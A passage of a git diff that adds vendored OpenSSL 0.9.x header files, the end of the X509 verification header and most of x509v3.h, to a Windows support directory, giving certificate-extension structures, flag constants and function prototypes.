X509_STORE_set_trust(X509_STORE *ctx, int trust); +int X509_STORE_set1_param(X509_STORE *ctx, X509_VERIFY_PARAM *pm); + +X509_STORE_CTX *X509_STORE_CTX_new(void); + +int X509_STORE_CTX_get1_issuer(X509 **issuer, X509_STORE_CTX *ctx, X509 *x); + +void X509_STORE_CTX_free(X509_STORE_CTX *ctx); +int X509_STORE_CTX_init(X509_STORE_CTX *ctx, X509_STORE *store, + X509 *x509, STACK_OF(X509) *chain); +void X509_STORE_CTX_trusted_stack(X509_STORE_CTX *ctx, STACK_OF(X509) *sk); +void X509_STORE_CTX_cleanup(X509_STORE_CTX *ctx); + +X509_LOOKUP *X509_STORE_add_lookup(X509_STORE *v, X509_LOOKUP_METHOD *m); + +X509_LOOKUP_METHOD *X509_LOOKUP_hash_dir(void); +X509_LOOKUP_METHOD *X509_LOOKUP_file(void); + +int X509_STORE_add_cert(X509_STORE *ctx, X509 *x); +int X509_STORE_add_crl(X509_STORE *ctx, X509_CRL *x); + +int X509_STORE_get_by_subject(X509_STORE_CTX *vs,int type,X509_NAME *name, + X509_OBJECT *ret); + +int X509_LOOKUP_ctrl(X509_LOOKUP *ctx, int cmd, const char *argc, + long argl, char **ret); + +#ifndef OPENSSL_NO_STDIO +int X509_load_cert_file(X509_LOOKUP *ctx, const char *file, int type); +int X509_load_crl_file(X509_LOOKUP *ctx, const char *file, int type); +int X509_load_cert_crl_file(X509_LOOKUP *ctx, const char *file, int type); +#endif + + +X509_LOOKUP *X509_LOOKUP_new(X509_LOOKUP_METHOD *method); +void X509_LOOKUP_free(X509_LOOKUP *ctx); +int X509_LOOKUP_init(X509_LOOKUP *ctx); +int X509_LOOKUP_by_subject(X509_LOOKUP *ctx, int type, X509_NAME *name, + X509_OBJECT *ret); +int X509_LOOKUP_by_issuer_serial(X509_LOOKUP *ctx, int type, X509_NAME *name, + ASN1_INTEGER *serial, X509_OBJECT *ret); +int X509_LOOKUP_by_fingerprint(X509_LOOKUP *ctx, int type, + unsigned char *bytes, int len, X509_OBJECT *ret); +int X509_LOOKUP_by_alias(X509_LOOKUP *ctx, int type, char *str, + int len, X509_OBJECT *ret); +int X509_LOOKUP_shutdown(X509_LOOKUP *ctx); + +#ifndef OPENSSL_NO_STDIO +int X509_STORE_load_locations (X509_STORE *ctx, + const char *file, const char *dir); +int X509_STORE_set_default_paths(X509_STORE *ctx); +#endif + +int X509_STORE_CTX_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func, + CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func); +int X509_STORE_CTX_set_ex_data(X509_STORE_CTX *ctx,int idx,void *data); +void * X509_STORE_CTX_get_ex_data(X509_STORE_CTX *ctx,int idx); +int X509_STORE_CTX_get_error(X509_STORE_CTX *ctx); +void X509_STORE_CTX_set_error(X509_STORE_CTX *ctx,int s); +int X509_STORE_CTX_get_error_depth(X509_STORE_CTX *ctx); +X509 * X509_STORE_CTX_get_current_cert(X509_STORE_CTX *ctx); +STACK_OF(X509) *X509_STORE_CTX_get_chain(X509_STORE_CTX *ctx); +STACK_OF(X509) *X509_STORE_CTX_get1_chain(X509_STORE_CTX *ctx); +void X509_STORE_CTX_set_cert(X509_STORE_CTX *c,X509 *x); +void X509_STORE_CTX_set_chain(X509_STORE_CTX *c,STACK_OF(X509) *sk); +void X509_STORE_CTX_set0_crls(X509_STORE_CTX *c,STACK_OF(X509_CRL) *sk); +int X509_STORE_CTX_set_purpose(X509_STORE_CTX *ctx, int purpose); +int X509_STORE_CTX_set_trust(X509_STORE_CTX *ctx, int trust); +int X509_STORE_CTX_purpose_inherit(X509_STORE_CTX *ctx, int def_purpose, + int purpose, int trust); +void X509_STORE_CTX_set_flags(X509_STORE_CTX *ctx, unsigned long flags); +void X509_STORE_CTX_set_time(X509_STORE_CTX *ctx, unsigned long flags, + time_t t); +void X509_STORE_CTX_set_verify_cb(X509_STORE_CTX *ctx, + int (*verify_cb)(int, X509_STORE_CTX *)); + +X509_POLICY_TREE *X509_STORE_CTX_get0_policy_tree(X509_STORE_CTX *ctx); +int X509_STORE_CTX_get_explicit_policy(X509_STORE_CTX *ctx); + +X509_VERIFY_PARAM *X509_STORE_CTX_get0_param(X509_STORE_CTX *ctx); +void X509_STORE_CTX_set0_param(X509_STORE_CTX *ctx, X509_VERIFY_PARAM *param); +int X509_STORE_CTX_set_default(X509_STORE_CTX *ctx, const char *name); + +/* X509_VERIFY_PARAM functions */ + +X509_VERIFY_PARAM *X509_VERIFY_PARAM_new(void); +void X509_VERIFY_PARAM_free(X509_VERIFY_PARAM *param); +int X509_VERIFY_PARAM_inherit(X509_VERIFY_PARAM *to, + const X509_VERIFY_PARAM *from); +int X509_VERIFY_PARAM_set1(X509_VERIFY_PARAM *to, + const X509_VERIFY_PARAM *from); +int X509_VERIFY_PARAM_set1_name(X509_VERIFY_PARAM *param, const char *name); +int X509_VERIFY_PARAM_set_flags(X509_VERIFY_PARAM *param, unsigned long flags); +int X509_VERIFY_PARAM_clear_flags(X509_VERIFY_PARAM *param, + unsigned long flags); +unsigned long X509_VERIFY_PARAM_get_flags(X509_VERIFY_PARAM *param); +int X509_VERIFY_PARAM_set_purpose(X509_VERIFY_PARAM *param, int purpose); +int X509_VERIFY_PARAM_set_trust(X509_VERIFY_PARAM *param, int trust); +void X509_VERIFY_PARAM_set_depth(X509_VERIFY_PARAM *param, int depth); +void X509_VERIFY_PARAM_set_time(X509_VERIFY_PARAM *param, time_t t); +int X509_VERIFY_PARAM_add0_policy(X509_VERIFY_PARAM *param, + ASN1_OBJECT *policy); +int X509_VERIFY_PARAM_set1_policies(X509_VERIFY_PARAM *param, + STACK_OF(ASN1_OBJECT) *policies); +int X509_VERIFY_PARAM_get_depth(const X509_VERIFY_PARAM *param); + +int X509_VERIFY_PARAM_add0_table(X509_VERIFY_PARAM *param); +const X509_VERIFY_PARAM *X509_VERIFY_PARAM_lookup(const char *name); +void X509_VERIFY_PARAM_table_cleanup(void); + +int X509_policy_check(X509_POLICY_TREE **ptree, int *pexplicit_policy, + STACK_OF(X509) *certs, + STACK_OF(ASN1_OBJECT) *policy_oids, + unsigned int flags); + +void X509_policy_tree_free(X509_POLICY_TREE *tree); + +int X509_policy_tree_level_count(const X509_POLICY_TREE *tree); +X509_POLICY_LEVEL * + X509_policy_tree_get0_level(const X509_POLICY_TREE *tree, int i); + +STACK_OF(X509_POLICY_NODE) * + X509_policy_tree_get0_policies(const X509_POLICY_TREE *tree); + +STACK_OF(X509_POLICY_NODE) * + X509_policy_tree_get0_user_policies(const X509_POLICY_TREE *tree); + +int X509_policy_level_node_count(X509_POLICY_LEVEL *level); + +X509_POLICY_NODE *X509_policy_level_get0_node(X509_POLICY_LEVEL *level, int i); + +const ASN1_OBJECT *X509_policy_node_get0_policy(const X509_POLICY_NODE *node); + +STACK_OF(POLICYQUALINFO) * + X509_policy_node_get0_qualifiers(const X509_POLICY_NODE *node); +const X509_POLICY_NODE * + X509_policy_node_get0_parent(const X509_POLICY_NODE *node); + +#ifdef __cplusplus +} +#endif +#endif + diff --git a/winstuff/openssl/x509v3.h b/winstuff/openssl/x509v3.h new file mode 100644 index 0000000..9ef83da --- /dev/null +++ b/winstuff/openssl/x509v3.h @@ -0,0 +1,922 @@ +/* x509v3.h */ +/* Written by Dr Stephen N Henson (steve@openssl.org) for the OpenSSL + * project 1999. + */ +/* ==================================================================== + * Copyright (c) 1999-2004 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * + * 3. All advertising materials mentioning features or use of this + * software must display the following acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit. (http://www.OpenSSL.org/)" + * + * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to + * endorse or promote products derived from this software without + * prior written permission. For written permission, please contact + * licensing@OpenSSL.org. + * + * 5. Products derived from this software may not be called "OpenSSL" + * nor may "OpenSSL" appear in their names without prior written + * permission of the OpenSSL Project. + * + * 6. Redistributions of any form whatsoever must retain the following + * acknowledgment: + * "This product includes software developed by the OpenSSL Project + * for use in the OpenSSL Toolkit (http://www.OpenSSL.org/)" + * + * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + * ==================================================================== + * + * This product includes cryptographic software written by Eric Young + * (eay@cryptsoft.com). This product includes software written by Tim + * Hudson (tjh@cryptsoft.com). + * + */ +#ifndef HEADER_X509V3_H +#define HEADER_X509V3_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Forward reference */ +struct v3_ext_method; +struct v3_ext_ctx; + +/* Useful typedefs */ + +typedef void * (*X509V3_EXT_NEW)(void); +typedef void (*X509V3_EXT_FREE)(void *); +typedef void * (*X509V3_EXT_D2I)(void *, const unsigned char ** , long); +typedef int (*X509V3_EXT_I2D)(void *, unsigned char **); +typedef STACK_OF(CONF_VALUE) * (*X509V3_EXT_I2V)(struct v3_ext_method *method, void *ext, STACK_OF(CONF_VALUE) *extlist); +typedef void * (*X509V3_EXT_V2I)(struct v3_ext_method *method, struct v3_ext_ctx *ctx, STACK_OF(CONF_VALUE) *values); +typedef char * (*X509V3_EXT_I2S)(struct v3_ext_method *method, void *ext); +typedef void * (*X509V3_EXT_S2I)(struct v3_ext_method *method, struct v3_ext_ctx *ctx, const char *str); +typedef int (*X509V3_EXT_I2R)(struct v3_ext_method *method, void *ext, BIO *out, int indent); +typedef void * (*X509V3_EXT_R2I)(struct v3_ext_method *method, struct v3_ext_ctx *ctx, const char *str); + +/* V3 extension structure */ + +struct v3_ext_method { +int ext_nid; +int ext_flags; +/* If this is set the following four fields are ignored */ +ASN1_ITEM_EXP *it; +/* Old style ASN1 calls */ +X509V3_EXT_NEW ext_new; +X509V3_EXT_FREE ext_free; +X509V3_EXT_D2I d2i; +X509V3_EXT_I2D i2d; + +/* The following pair is used for string extensions */ +X509V3_EXT_I2S i2s; +X509V3_EXT_S2I s2i; + +/* The following pair is used for multi-valued extensions */ +X509V3_EXT_I2V i2v; +X509V3_EXT_V2I v2i; + +/* The following are used for raw extensions */ +X509V3_EXT_I2R i2r; +X509V3_EXT_R2I r2i; + +void *usr_data; /* Any extension specific data */ +}; + +typedef struct X509V3_CONF_METHOD_st { +char * (*get_string)(void *db, char *section, char *value); +STACK_OF(CONF_VALUE) * (*get_section)(void *db, char *section); +void (*free_string)(void *db, char * string); +void (*free_section)(void *db, STACK_OF(CONF_VALUE) *section); +} X509V3_CONF_METHOD; + +/* Context specific info */ +struct v3_ext_ctx { +#define CTX_TEST 0x1 +int flags; +X509 *issuer_cert; +X509 *subject_cert; +X509_REQ *subject_req; +X509_CRL *crl; +X509V3_CONF_METHOD *db_meth; +void *db; +/* Maybe more here */ +}; + +typedef struct v3_ext_method X509V3_EXT_METHOD; + +DECLARE_STACK_OF(X509V3_EXT_METHOD) + +/* ext_flags values */ +#define X509V3_EXT_DYNAMIC 0x1 +#define X509V3_EXT_CTX_DEP 0x2 +#define X509V3_EXT_MULTILINE 0x4 + +typedef BIT_STRING_BITNAME ENUMERATED_NAMES; + +typedef struct BASIC_CONSTRAINTS_st { +int ca; +ASN1_INTEGER *pathlen; +} BASIC_CONSTRAINTS; + + +typedef struct PKEY_USAGE_PERIOD_st { +ASN1_GENERALIZEDTIME *notBefore; +ASN1_GENERALIZEDTIME *notAfter; +} PKEY_USAGE_PERIOD; + +typedef struct otherName_st { +ASN1_OBJECT *type_id; +ASN1_TYPE *value; +} OTHERNAME; + +typedef struct EDIPartyName_st { + ASN1_STRING *nameAssigner; + ASN1_STRING *partyName; +} EDIPARTYNAME; + +typedef struct GENERAL_NAME_st { + +#define GEN_OTHERNAME 0 +#define GEN_EMAIL 1 +#define GEN_DNS 2 +#define GEN_X400 3 +#define GEN_DIRNAME 4 +#define GEN_EDIPARTY 5 +#define GEN_URI 6 +#define GEN_IPADD 7 +#define GEN_RID 8 + +int type; +union { + char *ptr; + OTHERNAME *otherName; /* otherName */ + ASN1_IA5STRING *rfc822Name; + ASN1_IA5STRING *dNSName; + ASN1_TYPE *x400Address; + X509_NAME *directoryName; + EDIPARTYNAME *ediPartyName; + ASN1_IA5STRING *uniformResourceIdentifier; + ASN1_OCTET_STRING *iPAddress; + ASN1_OBJECT *registeredID; + + /* Old names */ + ASN1_OCTET_STRING *ip; /* iPAddress */ + X509_NAME *dirn; /* dirn */ + ASN1_IA5STRING *ia5;/* rfc822Name, dNSName, uniformResourceIdentifier */ + ASN1_OBJECT *rid; /* registeredID */ + ASN1_TYPE *other; /* x400Address */ +} d; +} GENERAL_NAME; + +typedef STACK_OF(GENERAL_NAME) GENERAL_NAMES; + +typedef struct ACCESS_DESCRIPTION_st { + ASN1_OBJECT *method; + GENERAL_NAME *location; +} ACCESS_DESCRIPTION; + +typedef STACK_OF(ACCESS_DESCRIPTION) AUTHORITY_INFO_ACCESS; + +typedef STACK_OF(ASN1_OBJECT) EXTENDED_KEY_USAGE; + +DECLARE_STACK_OF(GENERAL_NAME) +DECLARE_ASN1_SET_OF(GENERAL_NAME) + +DECLARE_STACK_OF(ACCESS_DESCRIPTION) +DECLARE_ASN1_SET_OF(ACCESS_DESCRIPTION) + +typedef struct DIST_POINT_NAME_st { +int type; +union { + GENERAL_NAMES *fullname; + STACK_OF(X509_NAME_ENTRY) *relativename; +} name; +} DIST_POINT_NAME; + +typedef struct DIST_POINT_st { +DIST_POINT_NAME *distpoint; +ASN1_BIT_STRING *reasons; +GENERAL_NAMES *CRLissuer; +} DIST_POINT; + +typedef STACK_OF(DIST_POINT) CRL_DIST_POINTS; + +DECLARE_STACK_OF(DIST_POINT) +DECLARE_ASN1_SET_OF(DIST_POINT) + +typedef struct AUTHORITY_KEYID_st { +ASN1_OCTET_STRING *keyid; +GENERAL_NAMES *issuer; +ASN1_INTEGER *serial; +} AUTHORITY_KEYID; + +/* Strong extranet structures */ + +typedef struct SXNET_ID_st { + ASN1_INTEGER *zone; + ASN1_OCTET_STRING *user; +} SXNETID; + +DECLARE_STACK_OF(SXNETID) +DECLARE_ASN1_SET_OF(SXNETID) + +typedef struct SXNET_st { + ASN1_INTEGER *version; + STACK_OF(SXNETID) *ids; +} SXNET; + +typedef struct NOTICEREF_st { + ASN1_STRING *organization; + STACK_OF(ASN1_INTEGER) *noticenos; +} NOTICEREF; + +typedef struct USERNOTICE_st { + NOTICEREF *noticeref; + ASN1_STRING *exptext; +} USERNOTICE; + +typedef struct POLICYQUALINFO_st { + ASN1_OBJECT *pqualid; + union { + ASN1_IA5STRING *cpsuri; + USERNOTICE *usernotice; + ASN1_TYPE *other; + } d; +} POLICYQUALINFO; + +DECLARE_STACK_OF(POLICYQUALINFO) +DECLARE_ASN1_SET_OF(POLICYQUALINFO) + +typedef struct POLICYINFO_st { + ASN1_OBJECT *policyid; + STACK_OF(POLICYQUALINFO) *qualifiers; +} POLICYINFO; + +typedef STACK_OF(POLICYINFO) CERTIFICATEPOLICIES; + +DECLARE_STACK_OF(POLICYINFO) +DECLARE_ASN1_SET_OF(POLICYINFO) + +typedef struct POLICY_MAPPING_st { + ASN1_OBJECT *issuerDomainPolicy; + ASN1_OBJECT *subjectDomainPolicy; +} POLICY_MAPPING; + +DECLARE_STACK_OF(POLICY_MAPPING) + +typedef STACK_OF(POLICY_MAPPING) POLICY_MAPPINGS; + +typedef struct GENERAL_SUBTREE_st { + GENERAL_NAME *base; + ASN1_INTEGER *minimum; + ASN1_INTEGER *maximum; +} GENERAL_SUBTREE; + +DECLARE_STACK_OF(GENERAL_SUBTREE) + +typedef struct NAME_CONSTRAINTS_st { + STACK_OF(GENERAL_SUBTREE) *permittedSubtrees; + STACK_OF(GENERAL_SUBTREE) *excludedSubtrees; +} NAME_CONSTRAINTS; + +typedef struct POLICY_CONSTRAINTS_st { + ASN1_INTEGER *requireExplicitPolicy; + ASN1_INTEGER *inhibitPolicyMapping; +} POLICY_CONSTRAINTS; + +/* Proxy certificate structures, see RFC 3820 */ +typedef struct PROXY_POLICY_st + { + ASN1_OBJECT *policyLanguage; + ASN1_OCTET_STRING *policy; + } PROXY_POLICY; + +typedef struct PROXY_CERT_INFO_EXTENSION_st + { + ASN1_INTEGER *pcPathLengthConstraint; + PROXY_POLICY *proxyPolicy; + } PROXY_CERT_INFO_EXTENSION; + +DECLARE_ASN1_FUNCTIONS(PROXY_POLICY) +DECLARE_ASN1_FUNCTIONS(PROXY_CERT_INFO_EXTENSION) + + +#define X509V3_conf_err(val) ERR_add_error_data(6, "section:", val->section, \ +",name:", val->name, ",value:", val->value); + +#define X509V3_set_ctx_test(ctx) \ + X509V3_set_ctx(ctx, NULL, NULL, NULL, NULL, CTX_TEST) +#define X509V3_set_ctx_nodb(ctx) (ctx)->db = NULL; + +#define EXT_BITSTRING(nid, table) { nid, 0, ASN1_ITEM_ref(ASN1_BIT_STRING), \ + 0,0,0,0, \ + 0,0, \ + (X509V3_EXT_I2V)i2v_ASN1_BIT_STRING, \ + (X509V3_EXT_V2I)v2i_ASN1_BIT_STRING, \ + NULL, NULL, \ + table} + +#define EXT_IA5STRING(nid) { nid, 0, ASN1_ITEM_ref(ASN1_IA5STRING), \ + 0,0,0,0, \ + (X509V3_EXT_I2S)i2s_ASN1_IA5STRING, \ + (X509V3_EXT_S2I)s2i_ASN1_IA5STRING, \ + 0,0,0,0, \ + NULL} + +#define EXT_END { -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} + + +/* X509_PURPOSE stuff */ + +#define EXFLAG_BCONS 0x1 +#define EXFLAG_KUSAGE 0x2 +#define EXFLAG_XKUSAGE 0x4 +#define EXFLAG_NSCERT 0x8 + +#define EXFLAG_CA 0x10 +/* Really self issued not necessarily self signed */ +#define EXFLAG_SI 0x20 +#define EXFLAG_SS 0x20 +#define EXFLAG_V1 0x40 +#define EXFLAG_INVALID 0x80 +#define EXFLAG_SET 0x100 +#define EXFLAG_CRITICAL 0x200 +#define EXFLAG_PROXY 0x400 + +#define EXFLAG_INVALID_POLICY 0x800 + +#define KU_DIGITAL_SIGNATURE 0x0080 +#define KU_NON_REPUDIATION 0x0040 +#define KU_KEY_ENCIPHERMENT 0x0020 +#define KU_DATA_ENCIPHERMENT 0x0010 +#define KU_KEY_AGREEMENT 0x0008 +#define KU_KEY_CERT_SIGN 0x0004 +#define KU_CRL_SIGN 0x0002 +#define KU_ENCIPHER_ONLY 0x0001 +#define KU_DECIPHER_ONLY 0x8000 + +#define NS_SSL_CLIENT 0x80 +#define NS_SSL_SERVER 0x40 +#define NS_SMIME 0x20 +#define NS_OBJSIGN 0x10 +#define NS_SSL_CA 0x04 +#define NS_SMIME_CA 0x02 +#define NS_OBJSIGN_CA 0x01 +#define NS_ANY_CA (NS_SSL_CA|NS_SMIME_CA|NS_OBJSIGN_CA) + +#define XKU_SSL_SERVER 0x1 +#define XKU_SSL_CLIENT 0x2 +#define XKU_SMIME 0x4 +#define XKU_CODE_SIGN 0x8 +#define XKU_SGC 0x10 +#define XKU_OCSP_SIGN 0x20 +#define XKU_TIMESTAMP 0x40 +#define XKU_DVCS 0x80 + +#define X509_PURPOSE_DYNAMIC 0x1 +#define X509_PURPOSE_DYNAMIC_NAME 0x2 + +typedef struct x509_purpose_st { + int purpose; + int trust; /* Default trust ID */ + int flags; + int (*check_purpose)(const struct x509_purpose_st *, + const X509 *, int); + char *name; + char *sname; + void *usr_data; +} X509_PURPOSE; + +#define X509_PURPOSE_SSL_CLIENT 1 +#define X509_PURPOSE_SSL_SERVER 2 +#define X509_PURPOSE_NS_SSL_SERVER 3 +#define X509_PURPOSE_SMIME_SIGN 4 +#define X509_PURPOSE_SMIME_ENCRYPT 5 +#define X509_PURPOSE_CRL_SIGN 6 +#define X509_PURPOSE_ANY 7 +#define X509_PURPOSE_OCSP_HELPER 8 + +#define X509_PURPOSE_MIN 1 +#define X509_PURPOSE_MAX 8 + +/* Flags for X509V3_EXT_print() */ + +#define X509V3_EXT_UNKNOWN_MASK (0xfL << 16) +/* Return error for unknown extensions */ +#define X509V3_EXT_DEFAULT 0 +/* Print error for unknown extensions */ +#define X509V3_EXT_ERROR_UNKNOWN (1L << 16) +/* ASN1 parse unknown extensions */ +#define X509V3_EXT_PARSE_UNKNOWN (2L << 16) +/* BIO_dump unknown extensions */ +#define X509V3_EXT_DUMP_UNKNOWN (3L << 16) + +/* Flags for X509V3_add1_i2d */ + +#define X509V3_ADD_OP_MASK 0xfL +#define X509V3_ADD_DEFAULT 0L +#define X509V3_ADD_APPEND 1L +#define X509V3_ADD_REPLACE 2L +#define X509V3_ADD_REPLACE_EXISTING 3L +#define X509V3_ADD_KEEP_EXISTING 4L +#define X509V3_ADD_DELETE 5L +#define X509V3_ADD_SILENT 0x10 + +DECLARE_STACK_OF(X509_PURPOSE) + +DECLARE_ASN1_FUNCTIONS(BASIC_CONSTRAINTS) + +DECLARE_ASN1_FUNCTIONS(SXNET) +DECLARE_ASN1_FUNCTIONS(SXNETID) + +int SXNET_add_id_asc(SXNET **psx, char *zone, char *user, int userlen); +int SXNET_add_id_ulong(SXNET **psx, unsigned long lzone, char *user, int userlen); +int SXNET_add_id_INTEGER(SXNET **psx, ASN1_INTEGER *izone, char *user, int userlen); + +ASN1_OCTET_STRING *SXNET_get_id_asc(SXNET *sx, char *zone); +ASN1_OCTET_STRING *SXNET_get_id_ulong(SXNET *sx, unsigned long lzone); +ASN1_OCTET_STRING *SXNET_get_id_INTEGER(SXNET *sx, ASN1_INTEGER *zone); + +DECLARE_ASN1_FUNCTIONS(AUTHORITY_KEYID) + +DECLARE_ASN1_FUNCTIONS(PKEY_USAGE_PERIOD) + +DECLARE_ASN1_FUNCTIONS(GENERAL_NAME) + + +ASN1_BIT_STRING *v2i_ASN1_BIT_STRING(X509V3_EXT_METHOD *method, + X509V3_CTX *ctx, STACK_OF(CONF_VALUE) *nval); +STACK_OF(CONF_VALUE) *i2v_ASN1_BIT_STRING(X509V3_EXT_METHOD *method, + ASN1_BIT_STRING *bits, + STACK_OF(CONF_VALUE) *extlist); + +STACK_OF(CONF_VALUE) *i2v_GENERAL_NAME(X509V3_EXT_METHOD *method, GENERAL_NAME *gen, STACK_OF(CONF_VALUE) *ret); +int GENERAL_NAME_print(BIO *out, GENERAL_NAME *gen); + +DECLARE_ASN1_FUNCTIONS(GENERAL_NAMES) + +STACK_OF(CONF_VALUE) *i2v_GENERAL_NAMES(X509V3_EXT_METHOD *method, + GENERAL_NAMES *gen, STACK_OF(CONF_VALUE) *extlist); +GENERAL_NAMES *v2i_GENERAL_NAMES(X509V3_EXT_METHOD *method, + X509V3_CTX *ctx, STACK_OF(CONF_VALUE) *nval); + +DECLARE_ASN1_FUNCTIONS(OTHERNAME) +DECLARE_ASN1_FUNCTIONS(EDIPARTYNAME) + +char *i2s_ASN1_OCTET_STRING(X509V3_EXT_METHOD *method, ASN1_OCTET_STRING *ia5); +ASN1_OCTET_STRING *s2i_ASN1_OCTET_STRING(X509V3_EXT_METHOD *method, X509V3_CTX *ctx, char *str); + +DECLARE_ASN1_FUNCTIONS(EXTENDED_KEY_USAGE) +int i2a_ACCESS_DESCRIPTION(BIO *bp, ACCESS_DESCRIPTION* a); + +DECLARE_ASN1_FUNCTIONS(CERTIFICATEPOLICIES) +DECLARE_ASN1_FUNCTIONS(POLICYINFO) +DECLARE_ASN1_FUNCTIONS(POLICYQUALINFO) +DECLARE_ASN1_FUNCTIONS(USERNOTICE) +DECLARE_ASN1_FUNCTIONS(NOTICEREF) + +DECLARE_ASN1_FUNCTIONS(CRL_DIST_POINTS) +DECLARE_ASN1_FUNCTIONS(DIST_POINT) +DECLARE_ASN1_FUNCTIONS(DIST_POINT_NAME) + +DECLARE_ASN1_FUNCTIONS(ACCESS_DESCRIPTION) +DECLARE_ASN1_FUNCTIONS(AUTHORITY_INFO_ACCESS) + +DECLARE_ASN1_ITEM(POLICY_MAPPING) +DECLARE_ASN1_ALLOC_FUNCTIONS(POLICY_MAPPING) +DECLARE_ASN1_ITEM(POLICY_MAPPINGS) + +DECLARE_ASN1_ITEM(GENERAL_SUBTREE) +DECLARE_ASN1_ALLOC_FUNCTIONS(GENERAL_SUBTREE) + +DECLARE_ASN1_ITEM(NAME_CONSTRAINTS) +DECLARE_ASN1_ALLOC_FUNCTIONS(NAME_CONSTRAINTS) + +DECLARE_ASN1_ALLOC_FUNCTIONS(POLICY_CONSTRAINTS) +DECLARE_ASN1_ITEM(POLICY_CONSTRAINTS) + +#ifdef HEADER_CONF_H +GENERAL_NAME *v2i_GENERAL_NAME(X509V3_EXT_METHOD *method, X509V3_CTX *ctx, + CONF_VALUE *cnf); +GENERAL_NAME *v2i_GENERAL_NAME_ex(GENERAL_NAME *out, X509V3_EXT_METHOD *method, + X509V3_CTX *ctx, CONF_VALUE *cnf, int is_nc); +void X509V3_conf_free(CONF_VALUE *val); + +X509_EXTENSION *X509V3_EXT_nconf_nid(CONF *conf, X509V3_CTX *ctx, int ext_nid, char *value); +X509_EXTENSION *X509V3_EXT_nconf(CONF *conf, X509V3_CTX *ctx, char *name, char *value); +int X509V3_EXT_add_nconf_sk(CONF *conf, X509V3_CTX *ctx, char *section, STACK_OF(X509_EXTENSION) **sk); +int X509V3_EXT_add_nconf(CONF *conf, X509V3_CTX *ctx, char *section, X509 *cert); +int X509V3_EXT_REQ_add_nconf(CONF *conf, X509V3_CTX *ctx, char *section, X509_REQ *req); +int X509V3_EXT_CRL_add_nconf(CONF *conf, X509V3_CTX *ctx, char *section, X509_CRL *crl); + +X509_EXTENSION *X509V3_EXT_conf_nid(LHASH *conf, X509V3_CTX *ctx, int ext_nid, char *value); +X509_EXTENSION *X509V3_EXT_conf(LHASH *conf, X509V3_CTX *ctx, char *name, char *value); +int X509V3_EXT_add_conf(LHASH *conf, X509V3_CTX *ctx, char *section, X509 *cert); +int X509V3_EXT_REQ_add_conf(LHASH *conf, X509V3_CTX *ctx, char *section, X509_REQ *req); +int X509V3_EXT_CRL_add_conf(LHASH *conf, X509V3_CTX *ctx, char *section, X509_CRL *crl); + +int X509V3_add_value_bool_nf(char *name, int asn1_bool, + STACK_OF(CONF_VALUE) **extlist); +int X509V3_get_value_bool(CONF_VALUE *value, int *asn1_bool); +int X509V3_get_value_int(CONF_VALUE *value, ASN1_INTEGER **aint); +void X509V3_set_nconf(X509V3_CTX *ctx, CONF *conf); +void X509V3_set_conf_lhash(X509V3_CTX *ctx, LHASH *lhash); +#endif + +char * X509V3_get_string(X509V3_CTX *ctx, char *name, char *section); +STACK_OF(CONF_VALUE) * X509V3_get_section(X509V3_CTX *ctx, char *section); +void X509V3_string_free(X509V3_CTX *ctx, char *str); +void X509V3_section_free( X509V3_CTX *ctx, STACK_OF(CONF_VALUE) *section); +void X509V3_set_ctx(X509V3_CTX *ctx, X509 *issuer, X509 *subject, + X509_REQ *req, X509_CRL *crl, int flags); + +int X509V3_add_value(const char *name, const char *value, + STACK_OF(CONF_VALUE) **extlist); +int X509V3_add_value_uchar(const char *name, const unsigned char *value, + STACK_OF(CONF_VALUE) **extlist); +int X509V3_add_value_bool(const char *name, int asn1_bool, + STACK_OF(CONF_VALUE) **extlist); +int X509V3_add_value_int(const char *name, ASN1_INTEGER *aint, + STACK_OF(CONF_VALUE) **extlist); +char * i2s_ASN1_INTEGER(X509V3_EXT_METHOD *meth, ASN1_INTEGER *aint); +ASN1_INTEGER * s2i_ASN1_INTEGER(X509V3_EXT_METHOD *meth, char *value); +char * i2s_ASN1_ENUMERATED(X509V3_EXT_METHOD *meth, ASN1_ENUMERATED *aint); +char * i2s_ASN1_ENUMERATED_TABLE(X509V3_EXT_METHOD *meth, ASN1_ENUMERATED *aint); +int X509V3_EXT_add(X509V3_EXT_METHOD *ext); +int X509V3_EXT_add_list(X509V3_EXT_METHOD *extlist); +int X509V3_EXT_add_alias(int nid_to, int nid_from); +void X509V3_EXT_cleanup(void); + +X509V3_EXT_METHOD *X509V3_EXT_get(X509_EXTENSION *ext); +X509V3_EXT_METHOD *X509V3_EXT_get_nid(int nid); +int X509V3_add_standard_extensions(void); +STACK_OF(CONF_VALUE) *X509V3_parse_list(const char *line); +void *X509V3_EXT_d2i(X509_EXTENSION *ext); +void *X509V3_get_d2i(STACK_OF(X509_EXTENSION) *x, int nid, int *crit, int *idx); + + +X509_EXTENSION *X509V3_EXT_i2d(int ext_nid, int crit, void *ext_struc); +int X509V3_add1_i2d(STACK_OF(X509_EXTENSION) **x, int nid, void *value, int crit, unsigned long flags); + +char 